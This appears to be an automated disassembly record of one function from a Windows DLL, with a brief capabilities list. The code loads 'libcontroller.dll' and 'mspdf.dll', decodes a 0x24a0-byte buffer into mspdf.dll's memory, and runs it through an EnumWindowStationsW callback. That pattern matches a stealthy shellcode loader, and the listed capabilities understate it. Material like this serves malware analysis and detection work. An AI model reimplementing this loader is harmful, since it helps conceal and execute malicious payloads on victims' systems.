Function at 0x10001119
Capabilities:
Enumerate gui resources
Read file on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x64
mov eax, dword [0x1003a014]
xor eax, esp
mov dword [esp + 0x60], eax
cmp byte [0x1003b3e8], 0
push ebx
push esi
push edi
jne 0x10001421
xor eax, eax
mov byte [0x1003b3e8], 1
lea edi, [esp + 0x30]
mov esi, 0x1000
stosd dword es:[edi], eax
xor ebx, ebx
push ecx
push esi
lea ecx, [esp + 0x38]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], 7
mov word [esp + 0x38], ax
call fcn.100014c1
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
push esi
cmovae eax, dword [esp + 0x34]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp dword [esp + 0x44], 8
lea edx, [esp + 0x30]
mov esi, dword [esp + 0x40]
cmovae edx, dword [esp + 0x30]
test esi, esi
je 0x100011c5
lea eax, [esi - 1]
or ecx, 0xffffffff
cmp eax, ecx
push 0x5c
cmovb ecx, eax
pop eax
lea ecx, [edx + ecx*2]
jmp 0x100011ba
cmp ecx, edx
je 0x100011c5
sub ecx, 2
cmp word [ecx], ax
jne 0x100011b3
sub ecx, edx
sar ecx, 1
jmp 0x100011c8
or ecx, 0xffffffff
xor eax, eax
lea edi, [esp + 0x14]
stosd dword es:[edi], eax
cmp esi, ecx
cmovb ecx, esi
cmp dword [esp + 0x44], 8
push ecx
stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x34]
cmovae eax, dword [esp + 0x34]
push eax
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
call fcn.100016cc
lea ecx, [esp + 0x30]
call fcn.10001496
push 6
pop ecx
lea esi, [esp + 0x14]
lea edi, [esp + 0x30]
rep movsd dword es:[edi], dword [esi]
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
cmovae eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push str.libcontroller.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, 0x7ffffffe
mov dword [esp + 0x48], ebx
sub eax, dword [esp + 0x40]
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
cmp eax, 1
jb 0x10001433
cmp dword [esp + 0x44], 8
lea eax, [esp + 0x30]
push 1
cmovae eax, dword [esp + 0x34]
push ecx
push dword [esp + 0x48]
push eax
push ecx
push dword [esp + 0x24]
lea ecx, [esp + 0x2c]
call fcn.1000186b
push ecx
lea edx, [esp + 0x18]
lea ecx, [esp + 0x58]
call fcn.1000156c
pop ecx
lea ecx, [esp + 0x14]
call fcn.10001496
push ecx
lea ecx, [esp + 0x4c]
call fcn.10001443
cmp dword [esp + 0x68], 8
lea eax, [esp + 0x54]
push 0x10037a74
cmovae eax, dword [esp + 0x58]
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x34], ebx
push eax
call fcn.1000b741
push ebx
push 0x31dd6b
push dword [esp + 0x40]
call fcn.1000bcad
push ebx
push ebx
call fcn.10002940
mov edi, eax
push 0xf
push edi
call fcn.10002d00
push edi
call fcn.100026a0
fld dword [0x10037a9c]
add esp, 0x28
mov ebx, eax
fstp dword [esp]
push ebx
call fcn.100022f0
fld dword [0x10037aa0]
pop ecx
fstp dword [esp]
push ebx
call fcn.10002280
push ebx
call fcn.10001d90
add esp, 8
fld1
mov esi, eax
fstp dword [esp]
push ebx
call fcn.10001de0
fstp dword [esp]
push ecx
fldz
fstp dword [esp]
push esi
call fcn.10002e60
push esi
push edi
call fcn.10002d40
push ebx
call fcn.100019c0
push ebx
call fcn.10001de0
fsub qword [0x10037a90]
add esp, 0x18
fstp dword [esp + 0x18]
fld dword [esp + 0x18]
fstp dword [esp + 4]
fld dword [0x10037a98]
fstp dword [esp]
push ebx
call fcn.10001b70
push ebx
call fcn.10001aa0
push dword [esp + 0x3c]
mov ebx, 0x24a0
push ebx
push 1
push dword [esp + 0x64]
call fcn.1000bec0
push dword [esp + 0x4c]
call fcn.1000b994
add esp, 0x24
push str.mspdf.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push 0
lea esi, [eax + 0x1000]
push esi
call fcn.10009970
mov edi, dword [esp + 0x54]
add esp, 0xc
xor ebx, ebx
movzx eax, bl
lea edx, [ebx + edi]
imul ecx, eax, 0x11
movzx eax, bl
sub cl, 0x41
movzx ecx, cl
imul ecx, eax
mov eax, 0x24a0
add cl, 0x22
add byte [edx], cl
inc ebx
cmp ebx, eax
jb 0x100013a4
push eax
push dword [esp + 0x4c]
push esi
call fcn.10009ad0
add esp, 0xc
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.USER32.dll_EnumWindowStationsW]
lea ecx, [esp + 0x54]
call fcn.10001496
mov ecx, dword [esp + 0x48]
test ecx, ecx
je 0x10001408
mov edx, dword [esp + 0x50]
sub edx, ecx
call fcn.1000180b
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x50], ebx
mov edx, dword [esp + 0x44]
cmp edx, 8
jb 0x10001421
mov ecx, dword [esp + 0x30]
lea edx, [edx*2 + 2]
call fcn.1000180b
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10008570
mov esp, ebp
pop ebp
ret
call fcn.100010e3
int3